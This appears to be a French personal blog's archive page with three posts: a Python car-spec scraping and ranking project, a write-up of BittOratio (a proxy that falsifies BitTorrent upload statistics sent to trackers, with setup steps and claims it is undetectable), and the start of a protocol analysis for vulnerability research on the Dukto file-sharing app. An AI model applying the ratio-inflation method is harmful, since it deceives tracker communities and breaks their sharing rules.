Nicolas SURRIBAS

Développement / Réseau / Sécurité Informatique

Archives 2015

Python, scraping and fast cars

Rédigé par devloop - -

TLDR: Ça se passe ici.

Introduction

Dans un élan de curiosité, l'idée m'est venue de recouper les performances des automobiles avec leurs prix dans l'objectif de déterminer quelles sont les voitures qui disposent des meilleurs moteurs pour des prix intéressants.

La qualité d'un moteur ne se limite bien sûr pas à ses qualités dynamiques (reprise, couple) mais aussi à sa consommation de carburant, son volume sonore, ses émissions de co2 et bien sûr le plaisir que peut vous procurer une boîte de vitesse mécanique.

De même la qualité d'une voiture ne se limite pas à son moteur. A titre d'exemple, la Subaru Impreza WRX STI 2.5 Turbo est plus rapide d'un dixième de seconde que la Bentley Mulsanne 6.75 V8 (boîte auto) et (puisque ça peut entrer en compte) 255000 euros moins chère mais voilà : si vous passez une soirée en voiture avec une Lady comment conserver les coupes de champagne au frais dans la Subaru ?

Voilà une question qui n'est certes pas à la portée de tout le monde mais dont l'objectif est surtout de faire en sorte que vous preniez les données qui vont suivre pour ce qu'elles sont : une simple corrélation entre le temps pour atteindre les 100km/h en départ arrêté avec le prix minimum du véhicule (finition d'entrée de gamme pour le modèle ayant la motorisation offrant la performance correspondante).

Bien sûr il est possible que je succombe à la tentation de quelques trolls faciles (et gratuits) !

Première étape: trouver les données


Quand on cherche des bases de données concernant les spécifications techniques des automobiles on se retrouve vite face à un vide intersidéral de l'open-data.
Il y a une tonne de sites regroupant les fiches techniques d'automobiles malheureusement aucun ne dispose d'une API permettant d’accéder aux données sans scraper le site comme un barbare.

Le site le plus accueillant en la matière est Edmunds.com qui dispose d'une API qui semble efficace.

Toutefois :
  • le site est américain et de nombreux véhicules n'ont pas traversés l'Atlantique. Les motorisations peuvent aussi être fortement différentes.
  • le temps pour le 0 à 100km/h n'est pas proposé dans les résultats
Pourquoi vouloir à tout prix le 0 à 100 km/h ? Et bien c'est une indication généralement suffisante et assez parlante des performances d'un véhicule.
Le nombre de chevaux et le couple sont d'autres indicateurs utiles mais il faut alors prendre en compte le poids du véhicule, le type de transmission (traction, propulsion, intégrale), le type de boite de vitesse, la présence d'un turbo... un vrai casse-tête.

On pourrait tricher et se rabattre sur certains sites de calcul du 0 à 100 comme 0-60 mph calculator qui utilisent effectivement certains de ces indicateurs mais dont les résultats ne semblent pas fiables (8.9 secondes calculés pour ma voiture contre les 9.4s officielles).

Le temps de 0 à 100 fournit dans les spécifications à l'avantage de prendre en considération tous ces paramètres même si on peut imaginer que les constructeurs ne soient pas toujours honnêtes sur le sujet :(

J'ai finalement posé mon dévolu sur autoevolution. Ce site semble disposer de modèles européens (le site est basé en Europe, en Roumanie pour être exact) avec (la plupart du temps) les performances qui nous intéressent et le tout est dans l'ensemble à jour (modèles récents).
Un autre point très important de ce site est qu'il semble s'en tenir aux motorisations de chaque modèle sans nous noyer sous une tonne de finitions comme c'est le cas sur Caradisiac qui recense par exemple une cinquantaine de finitions pour le Renault Captur alors qu'aucune ne dispose d'une motorisation digne de ce nom. (indice: on a passé le premier troll, saura tu le retrouver ?)

Seconde étape : Scrape everything

Scrape everything

Notre premier point d'accès au site est la page des constructeurs qui est simple à scraper.
Grosso-modo il nous suffit d'extraire tous les liens hypertextes présents dans la div de classe CSS brandlist. On obtient ainsi le nom de chaque constructeur présent et l'URL de sa section.

Le code que j'ai écrit utilise le langage Python avec les modules Requests et BeautifulSoup (what else ?)

On doit ensuite visiter la page de chaque constructeur pour en extraire la liste des modèles actuellement produits.
La page d'Acura (qui est à Honda ce que Lexus est à Toyota) sépare les modèles en production des modèles qui ne sont plus produits. Sur certains constructeurs ont peut s'attendre à ne voir que des modèles produits (si la marque est récente comme RAM Trucks) ou au contraire que des modèles abandonnés (si la marque a sombrée dans l'oubli comme Lancia... il était facile celui-là).

Chaque modèle est situé dans une div correspondant aux classes CSS carslist, mgtop22 et enfin faded s'il s'agit d'un modèle qui n'est plus en production.

Avec BeautifulSoup on peut chercher un élément qui correspond à une classe CSS donnée en revanche la librairie ne permet pas de faire une recherche décrivant exactement le texte présent dans l'attribut class d'un élément ni de faire une recherche sur une liste de noms de classes pour extraire les éléments qui rassemblent ces classes.
Du coup si on cherche les éléments correspondant à la classe mgtop22 on aura aussi bien les faded que les non-faded.
Cela nous force à faire une vérification supplémentaire (tester la présence de faded) dans les valeurs (type list) de l'attribut class de la node trouvée par BeautifulSoup.

Le format des URLs (ex: http://www.autoevolution.com/acura/tlx/ ) est en revanche une aubaine pour extraire le nom du modèle.

Notre aventure ne s'arrête pas là puisqu'il faut récupérer depuis la page d'un modèle le lien pour la dernière version produite.
Ainsi sur la page de la MX-5, seule la dernière version (2015) nous intéresse pour disposer de données à jour.

Le dernier modèle en cours est dans une div disposant de la classe CSS mgbot11. Il suffit de récupérer la première instance avec la fonction find() de BeautifulSoup.
La première URL dans cette div correspond à la page finale qui nous intéresse. Cette dernière a l'avantage de regrouper les spécifications de toutes les motorisations du modèle ce que l'on ne voit pas forcément à cause de l'utilisation de javascript dans la page.

Les spécifications sont regroupées dans un bloc dl/dt/dd ce qui permet d'extraire facilement les informations.

Le script suivant qui regroupe ces opérations a permis de générer un fichier JSON de plus de 5Mo avec les informations.
from __future__ import print_function
import requests
from bs4 import BeautifulSoup
from urlparse import urlparse
from time import sleep
import json

def extract_model_infos(html_code):
    soup = BeautifulSoup(html_code)
    engines = {}
    for div_engine in soup.find_all("div", class_="engine-block"):
        engine_name = div_engine.h3.span.text
        keys = [tag.text.lower().strip() for tag in div_engine.find_all("dt")]
        values = [tag.get_text().lower().strip() for tag in div_engine.find_all("dd")]
        engines[engine_name] = dict(zip(keys, values))
    return engines

sess = requests.session()

def get_page(url):
    global sess
    try:
        r = sess.get(url)
    except requests.exceptions.RequestException:
        return None
    sleep(1)
    return r.text


soup = BeautifulSoup(get_page("http://www.autoevolution.com/cars/"))

brands_dict = {}

for brands in soup.find_all("div", class_="brandlist"):
    for brand_link in brands.find_all("a", href=True):
        brand_url = brand_link["href"]
        brand_name = urlparse(brand_url).path[1:-1]
        print(brand_name.upper())
        
        soup2 = BeautifulSoup(get_page(brand_url))

        cars_dict = {}
        for div in soup2.find_all("div", class_="mgtop22"):
            if "faded" in div["class"]:
                continue
            for car_link in div.find_all("a", href=True):
                car_url = car_link["href"]
                car_name = urlparse(car_url).path.split("/")[-2]
                print("\t", car_name.capitalize())

                soup3 = BeautifulSoup(get_page(car_url))
                last_model_div = soup3.find("div", class_="mgbot11")
                if last_model_div:
                    try:
                        model_link = last_model_div.h2.a
                        model_url = model_link["href"]

                        model_infos = extract_model_infos(get_page(model_url))
                        cars_dict[car_name] = model_infos
                    except AttributeError:
                        print("No specs for this model")
        brands_dict[brand_name] = cars_dict

with open("cars.json", "w") as fd:
    json.dump(brands_dict, fd, indent=2)

Troisème étape : coller un prix sur les voitures

AutoEvolution ne dispose pas des informations de prix des véhicules (qui varient d'ailleurs selon les pays).
Pour faire le recoupement pas de magie : j'ai fouillé sur Caradisiac pour retrouver les modèles (en faisant bien attention à ce que le temps de 0 à 100 km/h corresponde ainsi que le type de transmission, de boîte, carburant, etc) et noter les prix en euros
J'ai édité le fichier JSON à la main ce qui était loin d'être passionnant et retrouver les modèles sur Caradisiac pouvait parfois être désagréable (enfin surtout quand on tombe sur des photos de véhicules Fiat).

J'ai fait une exception pour Caterham dont les modèles ne sont pas listés sur Caradisiac : je trouvais dommage de ne pas mettre ces véhicules atypiques dans les données du coup j'ai récupéré le prix en £ sur le site anglais et l'ai converti en euros avec le taux en cours (ce qui n'améliore pas le prix).

Quatrième étape : alléger le fichier JSON

En retirant les caractéristiques qui ne nous intéressent pas (taille des pneus, types de freins, etc) on peut réduire le fichier à 175Ko de JSON :
from __future__ import with_statement, print_function
import json

useless_keys = [
    "gross weight limit", 
    "tire size",
    "torque",
    "displacement",
    "height",
    "ground clearance",
    "city",
    "co2 emissions",
    "fuel system",
    "cargo volume",
    "cd",
    "width",
    "combined",
    "highway",
    "power",
    "unladen weight",
    "front/rear track",
    "front",
    "rear",
    "cylinders",
    "wheelbase",
    "length",
    "gross weight limit",
    ""
]

with open("cars.json") as fd:
    data = json.load(fd)
    brands = data.keys()
    for brand in brands:
        models = data[brand].keys()
        for model in models:
            motors = data[brand][model].keys()
            for motor in motors:
                specs = data[brand][model][motor]
                if "price" not in specs:
                    # remove whole motor spec
                    data[brand][model].pop(motor)
                else:
                    for key in useless_keys:
                        if key in specs:
                            data[brand][model][motor].pop(key)

            if not data[brand][model]:
                data[brand].pop(model)

        if not data[brand]:
            data.pop(brand)

print(json.dumps(data))

Cinquième étape : faire un beau graphique

Je ne suis pas un expert Javascript mais en reprenant des modèles Highcharts existants on peut obtenir à mesure de retouches un résultat visuellement agréable comme celui-ci :

Graphique comparatif automobiles prix / performance

Parmi les difficultés rencontrées :
  • formater le tooltip pour qu'il prenne les informations du point survolé (les spécs) et intègre le logo de la marque (voir ci-après).
  • faire en sorte que les points d'une même marque aient la même forme et même couleur.

Le graphe est assez parlant et Highcharts permet des manipulations utiles comme zoomer, n'afficher que certains constructeurs, etc.

Le nuage de points de chaque constructeur est révélateur et permet de deviner facilement son positionnement économique, ses concurrents directs et la performance générale de ses véhicules (par exemple en regardant la proportion de véhicules à plus de 11 secondes, ce qui ne vas pas en faveur de Fiat et Mitsubishi notamment).

Sixième étape : récupérer les logos des constructeurs

Durant la réalisation du graphique j'ai trouvé dommage de ne pas intégrer les logos de chaque constructeurs qui permettent de savoir en un clin d’œil à quoi l'on a affaire.
J'ai cherché des logos en 16*16 pixels et je suis finalement tombé sur carlogos.net.

Le site dispose d'un script PHP qu'il est très facile d'exploiter pour récupérer les différents logos.

from __future__ import with_statement
import requests
import json
import shutil

url = "http://carlogos.net/demothumb.php?sizeid=2&name="

with open("cars.json") as fdin:
    data = json.load(fdin)
    sess = requests.session()
    for maker in data:
        r = sess.get(url + maker.capitalize(), stream=True)
        if r.headers["content-type"] == "image/png":
            with open("logos/{0}.png".format(maker), "wb") as fdout:
                shutil.copyfileobj(r.raw, fdout)
J'ai du traiter séparément les noms de constructeurs en deux mots (Mercedes Benz) ou ceux qui disposaient d'un tiret (Rolls Royce).
Enfin j'ai récupéré ailleurs les logos manquants (les logos de Fisker et McLaren sont d'ailleurs ceux qui rendent le mieux) via une recherche Google Images.

Septième étape : faire des classements supplémentaires

Comme je n'ai pas récupéré que les temps de 0 à 100 km/h j'en ai profité pour faire différents scripts qui classent les véhicules selon une caractéristique donnée :
Voici l'un des scripts à titre d'exemple :

from __future__ import print_function, with_statement

import json
from operator import itemgetter
import sys
import os
import re

table = []
models_len = set()

with open("cars.json") as fd:
    brands = json.load(fd)
    for brand in brands:
        for car in brands[brand]:
            models = brands[brand][car]
            for model in models:
                charge = models[model]["gross weight limit"].strip()
                if charge == "-":
                    continue
                weight = models[model]["unladen weight"].strip()
                if weight == "-":
                    continue

                search1 = re.search(r"(\d+) kg$", charge)
                search2 = re.search(r"(\d+) kg$", weight)
                if search1 and search2:
                    charge = int(search1.group(1)) - int(search2.group(1))
                    if charge < 185:
                        continue
                    model = model.encode("utf-8", "ignore").strip()
                    table.append((model, charge))
                    models_len.add(len(model))

max_len = max(models_len)
old_charge = ""

print("""<!DOCTYPE html>
<html lang="fr">
<head>
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css" integrity="sha512-dTfge/zgoMYpP7QbHy4gWMEGsbsdZeCXz7irItjcC3sPUFtf0kuFbDz/ixG7ArTxmDjLXDmezHubeNikyKGVyQ==" crossorigin="anonymous">
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap-theme.min.css" integrity="sha384-aUGj/X2zp5rLCbBxumKTCw2Z50WgIr1vs/PFN4praOTvYXWlVyh2UtNUU0KAUhAX" crossorigin="anonymous">
    <style>
    .dl-horizontal dd { margin-bottom: 1em; background-color: rgb(247, 247, 249); padding: 5px; border: 1px solid #e1e1e8; border-radius: 4px; }
    .dl-horizontal dt { padding-top: 5px; }
    h1 { text-align: center; }
    h5 { text-align: center; }
    </style>
</head>
<body>
  <div class="container">
    <div class="page-header">
        <h1>Classement automobiles sur le poids maximal possible en kilos</h1>
        <h5>donn&eacute;es autoevolution.com</h5>
    </div>
    <dl class="dl-horizontal">""")

for model, charge in sorted(table, key=itemgetter(1), reverse=True):
    if old_charge != charge:
        if old_charge:
            print("\n      </dd>")
        print("      <dt>{0} kg</dt><dd>".format(charge))
        old_charge = charge

    try:
        brand = model.split(" ")[0].lower()
        image_path = "logos/{0}.png".format(brand)
        if os.path.isfile(image_path):
            print("<img src=\"{0}\"/> {1}<br />".format(image_path, model))
        else:
            print(model, "<br />")
    except UnicodeEncodeError:
        print("Error with model name {0}".format(repr(model)), file=sys.stderr)
        continue

print("""</dt>
    </dl>
  </div>
</body>
</html>""")

A propos des données

Certaines des données peuvent être erronées. Lors du traitement de ces informations j'ai parfois croisé des incohérences improbables aussi bien sur AutoEvolution que sur Caradisiac.
Je suppose que les données sont reçues sous la forme de brochures envoyées par les constructeurs et saisies à la main donc sujettes à l'erreur humaine (typo, copier/coller, etc).

Parmi les erreurs les plus flagrantes j'ai vu :
  • une voiture de 45 mètres de long (en limousine ça doit être confortable mais bonjour les créneaux)
  • une Mazda 6 faisant le 0 à 100 km/h en 139 secondes (avec un moteur de Twizy peut être mais c'était pas le cas)
  • une Kia Rio de 11 tonnes (en granit ?)
  • une Kia Picanto permettant une charge de 5kg maximum (on peut la conduire en passant le bras par la fenêtre mais pas être dedans)
Il y a aussi des incohérences plus difficiles à discerner au vu de la quantité d'informations comme un Dacia Duster TCE de 105 chevaux réalisant le même chrono que sa version 125 chevaux...
J'ai bien sûr corrigé les erreurs que j'ai relevé mais il est fort probable que des incohérences soient toujours présentes dans les données. Il faut donc prendre ces données avec des pincettes.

Il manque des véhicules. La nouvelle NSX n'est par exemple pas listée sur AutoEvolution et à l'inverse les prix de certains véhicules n'apparaissent pas sur Caradisiac d'où l'absence de certains modèles.
J'ai parfois pu me rabattre sur la version break de tel ou tel modèle mais ce n'est pas toujours le cas.

Enfin il faut savoir interpréter certaines données : sur le classement des volumes de coffre le FORD Grand C-Max apparaît avec un volume de seulement 57 litres. C'est en réalité le volume du coffre une fois que les 7 sièges sont levés et non le volume que l'on pourrait effectivement obtenir.

Bonne visualisation.

Classé dans : Non classé - Mots clés : aucun

BittOratio v3 : Boostez vos statistiques BitTorrent

Rédigé par devloop - -

Mise à jour du 13 septembre 2015 :
La version 3 de BittOratio est disponible.
Elle supporte désormais les réponses HTTP en mode chunked qui l’empêchait de recevoir correctement les réponses de certains trackers.
Téléchargez cette nouvelle version ici : bittoratio3.py

Mise à jour du 25 avril 2014 :
Une nouvelle version de BittOratio est disponible.
Elle corrige des problèmes d'affichage et surtout un bug dans le renvoi des headers HTTP qui provoquait la transmission de réponses HTTP invalides vers le client BitTorrent.
BittOratio devrait donc maintenant fonctionner avec tous les trackers.
Nouvelle version à télécharger ici : bittoratio2.py

Article original (11 janvier 2011) :
Dans la même optique que pour le code statsliar qui permet de booster les statistiques d'un site en envoyant des requêtes multiples à travers des proxys, je me suis mis à écrire un programme capable de booster ses statistiques d'upload sur les communautés BitTorrent qui s'appuient sur le principe du ratio.

Le principe de ces sites est simple : on peut continuer à télécharger tant que l'on veut du moment que l'on partage dans une certaine proportion. Le ratio est une variable dont la régle est "quantité de données downloadées" divisée par "quantité de données uploadées".
Le ratio exigé est lié au réglement du site, son minimum autorisé est généralement de 0.5.

C'est plus l'envie que le besoin qui m'a amené à développer cet outil. C'était l'occasion de reprendre les spécifications BitTorrent étudiées pour mon article Utilisations alternatives du protocole BitTorrent et de voir ce qu'il était possible de faire.

La première partie du document est la suite de la traduction de la spécification. La seconde partie explique le fonctionnement de l'outil.
Je vous invite à vous pencher d'abord sur l'article cité précédemment et à consulter la partie concernant les requêtes envoyées par le client sur le tracker sans quoi la compréhension peut s'avérer difficile.

Première partie : Réponse émises par le tracker

Le tracker répond avec un document "text/plain" correspondant à un dictionnaire bencodé contenant les clés suivantes :
  • failure reason : Si présent, alors il est possible qu'aucune autre clé ne soit présente. Sa valeur est un message d'erreur expliquant pourquoi la requête a échouée (chaîne).
  • warning message : (nouveau, optionnel) Similaire à failure reason, mais la réponse est toujours traitée normalement. L'avertissement est affiché au même titre qu'une erreur.
  • interval : Intervalle en secondes que le client devrait attendre entre l'envoi de requêtes régulières au tracker.
  • min interval : (optionnel) Intervalle minimum d'annonce. Si présent, les clients ne doivent pas annoncer plus fréquemment qu'à cet intervalle.
  • tracker id : Une chaîne que le client devrait renvoyer sur chaque prochaine annonce. S'il est absent et si une précédente annonce a envoyé un tracker id, ne pas rejeter cette ancienne valeur mais la conserver.
  • complete : nombre de peers qui disposent du fichier entier, c'est à dire les "seeders" (entier).
  • incomplete : nombre de peers qui ne seedent pas, c'est à dire les "leechers" (entier).
  • peers : (modèle dictionnaire) La valeur correspondante est une liste de dictionnaires, chacun avec les clés suivantes :
    • peer id : Un identifiant que le peer a choisi lui-même, comme décrit plus tôt pour la requête au tracker (chaîne).
    • ip : l'adresse ip du peer, soit en Ipv6 (forme hexadécimale), soit en ipv4 (séparation par des points) ou un nom DNS (chaîne).
    • port : le numéro de port du peer( entier).
  • peers : (modèle binaire) Au lieu d'utiliser le modèle de dictionnaire décrit précédemment, la valeur peut être une chaîne constituée de multiples de 6 octets. Les 4 premiers octets correspondent à l'adresse IP et les deux suivants au numéro de port. Le tout en notation réseau (big endian)

Comme mentionné plus tôt, la liste des peers est de 50 peers par défaut. S'il y a moins de peers sur le torrent, alors la liste sera plus petite. Dans le cas contraire, le tracker renvoit une liste de peers choisis aléatoirement.
Le tracker a le droit d'implémenter un méchanisme plus intelligent de sélection des peers à retourner comme réponse. Il pourrait par exemple éviter de retourner la liste des seerders à un seeder.

Les clients peuvent envoyer une requête plus tôt qu'au boût de l'intervalle spécifié si un événement se produit (par exemple stopped ou completed) ou si le client a besoin de découvrir plus de peers. Toutefois il est mal vu de "marteler" un tracker pour obtenir d'avantage de peers. Si un client souhaite une plus large liste de peers dans la réponse, alors il devrait spécifier le paramêtre numwant.

Note pour l'implémentation : Même 30 peers est suffisant, la version 3 du client officiel n'établit en réalité de nouvelles connexions que s'il y a moins de 30 peers et va refuser les connexions s'il y en a 55. Ces valeurs sont importantes pour des raisons de performance. Quand un morceau (piece) a terminé de télécharger, des messages HAVE (obtenu) devront être envoyés aux peers les plus actifs. La conséquence est que l'utilisation de la bande passante augmente proportionnellement au nombre de peers. Au delà de 25, les nouveaux peers n'auront que très peu d'influence sur l'augmentation de la vitesse de téléchargement. Les créateurs d'interfaces graphiques sont fortement conseillés de dissimuler cela et d'empêcher de telles configurations qui de toute façon se montrerait très rarement utiles.

Convention "scrape" des trackers

Par convention la plupart des trackers supportent un autre type de requête, permettant de connaître l'état d'un torrent donné(ou de tous les torrents) que le tracker gère. On y fait référence en tant que "page de scrape" car elle automatise le traitement laborieux d'extraction des statistiques du tracker.

L'URL de scrape se base aussi sur la méthode GET, similaire à ce qui a déjà été décris. Cependant l'URL de base est différente. La génération de cette URL de scrape se fait selon les étapes suivantes : Commencer avec l'url d'annonce. Trouver le dernier '/' dans cette chaîne. Si le texte suivant immédiatement ce '/' n'est pas 'announce' alors on considère que le tracker ne supporte pas la convention de scrape. Si c'est le cas, on substitue 'scrape' par 'announce' pour obtenir l'URL de scrape.

Exemples : (URL d'annonce ? URL de scrape)
  ~http://example.com/announce          ? ~http://example.com/scrape
  ~http://example.com/x/announce        ? ~http://example.com/x/scrape
  ~http://example.com/announce.php      ? ~http://example.com/scrape.php
  ~http://example.com/a                 ? (scrape non supporté)
  ~http://example.com/announce?x2%0644 ? ~http://example.com/scrape?x2%0644
  ~http://example.com/announce?x=2/4    ? (scrape non supporté)
  ~http://example.com/x%064announce     ? (scrape non supporté)

L'URL peut être complétée par le paramètre optionnel info_hash, une variable de 20 octets décris plus tôt. Cela restreint le rapport du tracker à un torrent particulier. Dans le cas contraire les statistiques de tous les torrents gérés par le tracker sont retournés. Les développeurs de logiciels sont fortement encouragés à utiliser le paramètre info_hash dès que c'est possible, afin de réduire la charge et bande passante du tracker.

Vous avez aussi la possibilité de spécifier plusieurs paramètres info_hash aux trackers qui les supportent. Bien que cela ne soit pas indiqué dans les spécifications officielles, c'est devenu un standard dans la pratique – par exemple :

http://example.com/scrape.php?info_hash=aaaaaaaaaaaaaaaaaaaa&info_hash=bbbbbbbbbbbbbbbbbbbb&info_hash=cccccccccccccccccccc

La réponse de cette requête HTTP GET est un document "text/plain" ou encore une version compressée par gzip qui correspond à un dictionnaire bencodé contenant les clés suivantes :

  • files : un dictionnaire comportant des paires clés / valeurs pour chaque torrent pour lequel il existe des statistiques. Si info_hash est spécifié est est valide, le dictionnaire contiendra une seule paire clé / valeur. Chaque clé correspond au info_hash, une suite de 20 octets. La valeur de chaque entrée du dictionnaire est composé des éléments suivants :
    • complete : nombre de peers qui disposent du fichier entier, c'est à dire les seeders (entier)
    • downloaded : nombre total de fois où le tracker a enregistré une terminaison (complétion) ("event=complete", c'est à dire quand un client termine de télécharger un torrent)
    • incomplete : nombre de peers non-seeders, c'est à dire les "leechers" (entier)
    • name : (optionnel) le nom interne du torrent, tel que défini dans la section d'info du fichier torrent (name)

Notez que cette réponse a 3 niveaux de profondeur de dictionnaire (sur le même principe que les poupées russes). Voici un exemple :

d5:filesd20:....................d8:completei5e10:downloadedi50e10:incompletei10eeee

"...................." est le info_hash de 20 octets avec 5 seeders, 10 leechers, et 50 téléchargements complets.

Extensions non-officielles au scrape

Ci-dessous sont les clés de réponse qui sont utilisés non-officiellement. Comme elles sont non-officielles, elle sont aussi optionnelles.

  • Failure reason : Un message d'erreur expliquant pourquoi la requête a échouée (chaîne). Clients connus pour utiliser cette clé : Azureus.
  • Flags : un dictionnaire constitué de drapeaux divers. La valeur des clés de drapeau est un autre dictionnaire à niveaux, pouvant contenir l'information suivante :
    • min_request_interval : La valeur de cette clé est un entier correspondant au nombre de secondes que le client doit attendre avant de scraper à nouveau le tracker. Trackers connus pour utiliser cette clé : BNBT. Clients utilisant cette clé : Azureus.

BittOratio : Comment tricher sur ses statistiques d'upload

A bien regarder la façon dont sont formé les requêtes et réponses du tracker on remarque que tricher est simple : il suffit d'exagérer la valeur passée au paramêtre uploaded sur les requêtes announce.

Pour le tracker il est beaucoup plus compliqué de savoir si le client triche ou non. Toutefois certaines vérifications peuvent être faites :
  • Vérifier que le client a envoyé une requête annonce de démarrage du torrent ("event=started") avant de prétendre avoir partagé des données.
  • Surveiller s'il n'y a pas des incohérences (quantité d'upload qui diminue au lieu d'augmenter). Mais c'est incohérences peuvent être non-intentionnelles (utiliseur qui efface par mégarde un fichier que le client torrent va retélécharger etc).
  • Vérifier que le client n'est pas seul sur le torrent : pour uploader il lui faut forcément un autre client.
  • Vérifier que le client a bien ses ports de partage ouvert. Il ne peut pas partager s'il refuse toute connexion. Mais cette vérification serait difficile à mettre en place pour le tracker).
  • Calculer la vitesse d'émission du client en se basant sur la quantité d'upload qu'il prétend envoyer entre deux moments successifs et vérifier si cette vitesse est informatiquement réaliste.

Des outils existent déjà pour simuler l'upload de données : RatioMaster et RatioMaster-NG.
Le second se veut être une correction du premier. Ils ne téléchargent pas réellement les fichiers mais envoient des suites de requêtes au tracker pour faire croire qu'ils participent aux transferts.
Je n'ai pas cherché à étudier leur fonctionnement précis mais certains trackers tentent de détecter ce type de fraude par les vérifications citées plus haut.

Mon logiciel BittOratio fonctionne autrement. C'est un proxy HTTP qui modifie au vol les requêtes d'annonce à destination du tracker, multipliant la quantité de données envoyée par un facteur (nombre entier) modifiable dans le code source.
Pour qu'il fonctionne il faut donc que les fichiers soient réellement téléchargés et mis à disposition mais vous n'aurez pas à uploader autant que vous ne téléchargez pour obtenir un bon ratio.
L'avantage de cet outil est que ce système de triche est indécelable.

Il suffit de lancer le proxy qui écoute sur le port tcp 8080 et de configurer votre client BitTorrent pour passer par le proxy. Par exemple avec Transmission sous Linux, il faut modifier le fichier .config/transmission/settings.json pour placer les réglages suivants :
"proxy": "localhost",
"proxy-auth-enabled": false,
"proxy-auth-password": "",
"proxy-auth-username": "",
"proxy-enabled": true,
"proxy-port": 8080,
"proxy-type": 0,
Les requêtes interceptées sont affichées de façon succinte à l'écran (identité du tracker, hash du torrent, quantité d'upload).

La difficulté principale lors de l'écriture du programme a été de gérer les erreurs de connexion. Comme la bande-passante est bouffée par le client BitTorrent, le proxy rencontre pas mal d'erreurs de timeout (connexion au tracker indispo ou résolution dns qui prend trop de temps).
On pourrait penser que les requêtes du tracker importe peu mais elles ont un effet important sur le client BitTorrent. La première technique que j'ai employé pour gérer ces erreurs était de renvoyer au client un message HTTP 504 (Gateway Timeout) correspondant parfaitement aux problèmes de ce type mais le client avait une mauvaise tendance à abandonner au boût d'un moment.
Finalement j'ai mis en place un système de cache qui renvoit au client le résultat de la requête précédente (pour le même info_hash) et qui améliore largement la stabilité de l'ensemble.

Quand on stoppe le proxy (Ctrl+C), celui-ci "flushe" le cache et envoit les annonces d'upload qui n'auraient pas été envoyées sur le tracker faute de capacité réseau.

Parmi les modifications apportées durant l'écriture du code, j'ai du abandonner urllib2 (vraiment à la masse en terme de performances) au profit de httplib.

Pour terminer (et puisque certains se posent la question) il semble d'après mes observations qu'il est préférable de stopper (mettre en pause) les torrents avant de fermer complètement le client BitTorrent au lieu de le fermer directement : en effet le client n'envoit pas forcément les requêtes d'annonce à la fermeture pour synchroniser ses statistiques avec le tracker alors que la mise en pause envoit ces informations avec l'event "stopped".

Le code se trouve ici : bittoratio.py

J'avais d'abord cherché une analogie à Bit Torrent pour le nom du programme, je suis arrivé à "Dick Rivers"... je me suis abstenu.

Je reprendrais peut-être un jour la suite de la traduction de la spécification.

Dukto : recherche de vulnérabilités et exploitation

Rédigé par devloop - -

Histoire de changer des habituels writeups de CTF et autres challenges de sécurité informatique j'ai choisi de me pencher sur une application bien réelle pour rechercher ses vulnérabilités.
Vous verrez ici que l'on peut parfois trouver des failles assez basiques mais néanmoins importantes qui ne nécessitent pas de connaissances particulières en assembleur et reverse-engineering.

Présentation du logiciel

Dukto est un de ces petits logiciels qui se montrent rapidement indispensable.

Il s'agit d'un utilitaire développé en C++ qui permet d'échanger rapidement du texte, des fichiers, des captures d'écran sur un réseau local.
Il est basé sur le framework Qt et fonctionne sur Linux, Windows, OSX, Android et Symbian. Un sacré argument pour tous ceux qui disposent de machines sur plusieurs OS.
Il a aussi un look-and-feel agréable, ce qui ne gâche rien :)
Je m'en sers aussi bien sur des des machines physiques que des machines virtuelles et ça permet de transférer un fichier d'une machine à une autre sans avoir à jouer avec les dossiers partagés de VM Ware ou VirtualBox.
Il existe aussi des portages de ce logiciel pour iPhone ou BlackBerry.

Comme on va le voir, le protocole utilisé par Dukto est très simple et sa simplicité fait justement sa force : il serait très aisé de rajouter de nouvelles fonctionnalités ou d'apporter des améliorations.

Dukto est open-source et sous licence libre.

Le protocole

Dukto écoute par défaut sur le port 4644 aussi bien en UDP qu'en TCP.
UDP n'est utilisé que pour la présentation des clients Dukto sur le réseau : quand un client Dukto est lancé, il envoie en broadcast un message que l'on qualifiera de "Hello" (rapport à la fonction C++ chargée de l'opération, baptisée sayHello).

Les autres clients qui écoutent le port 4644 sur le réseau local (avec Dukto, tout le monde est client et serveur à la fois) reçoivent cette annonce et répondent à cette personne en lui envoyant à leur tour un message Hello.
A intervalle régulier, Dukto envoie un Hello broadcast pour indiquer aux autres utilisateurs qu'il est toujours présent.

Les datagrammes UDP envoyés par Dukto commencent toujours par un entête d'un seul octet : un numéro indiquant le type d'information envoyé.
Le message Hello se décline en 4 versions différentes : d'abord les broadcast et les unicast et ensuite ceux utilisant le port par défaut puis les autres. On a la répartition suivante :
  • 01 -> hello broadcast port par défaut
  • 02 -> hello unicast, port par défaut
  • 04 -> hello broadcast, port spécifique
  • 05 -> hello unicast, port spécifique
La charge du message est l'identité de l'utilisateur. Dukto s'attend à ce que ce soit formaté sous la forme "User at machine (Operating system)". Dukto utilise par exemple sous Linux les variables d'environnement USER et HOSTNAME pour générer cette information.
Les Hello utilisant un port spécifique transportent cette information supplémentaire : le port est alors indiqué juste après le header, sur deux octets.

On aura par exemple pour un Hello broadcast :
<01><identité de l'utilisateur>
Et pour un Hello unicast avec un port spécifique :
<05><port sur deux octets><identité de l'utilisateur>
Dukto dispose à contrario d'une annonce de sortie. Quand un client Dukto est fermé il va énumérer la liste des clients connectés (qu'il maintenait à jour) et leur envoyer à chacun un message de type 3 sur le port sur lequel ils écoutent. Il envoie aussi un message broadcast du même type pour s'assurer que tout le monde est averti.

Ici le payload est hardcodé à "Bye Bye". On a donc le datagramme suivant :
<03><Bye Bye>
Toute la gestion réseau est réalisée dans le fichier duktoprotocol.cpp.
On s’aperçoit vite en lisant le code source que le logiciel utilise toujours les classes fournies par Qt (comme QByteArray, QString, etc) et ne se risque pas à utiliser des fonctions potentiellement dangereuses comme strcpy, memcpy... Il ne faut pas s'attendre à trouver un buffer overflow dans le code :)

Si UDP est utilisé seulement pour les annonces de connexion et déconnexion, TCP sert lui à transmettre les données.
Lorsqu'il transmet des données sur une connexion TCP, Dukto agit en deux temps : d'abord il PUSH un entête pour indiquer leur taille puis ensuite il envoie effectivement les données.

Un header passant par TCP commence par deux qint64 (type entier de Qt, correspond à des quadwords, des entiers de 64 bits).
Le premier qword correspond au nombre d'éléments (fichiers) qui seront transmis dans la connexion TCP. On peut dire que le développeur a vu large, même si le qword est signé...
Le second qword correspond à la taille du fichier qui sera transmis.
Ces deux qwords sont suivis par le nom du fichier, encodé en UTF-8 et terminé par un octet nul.
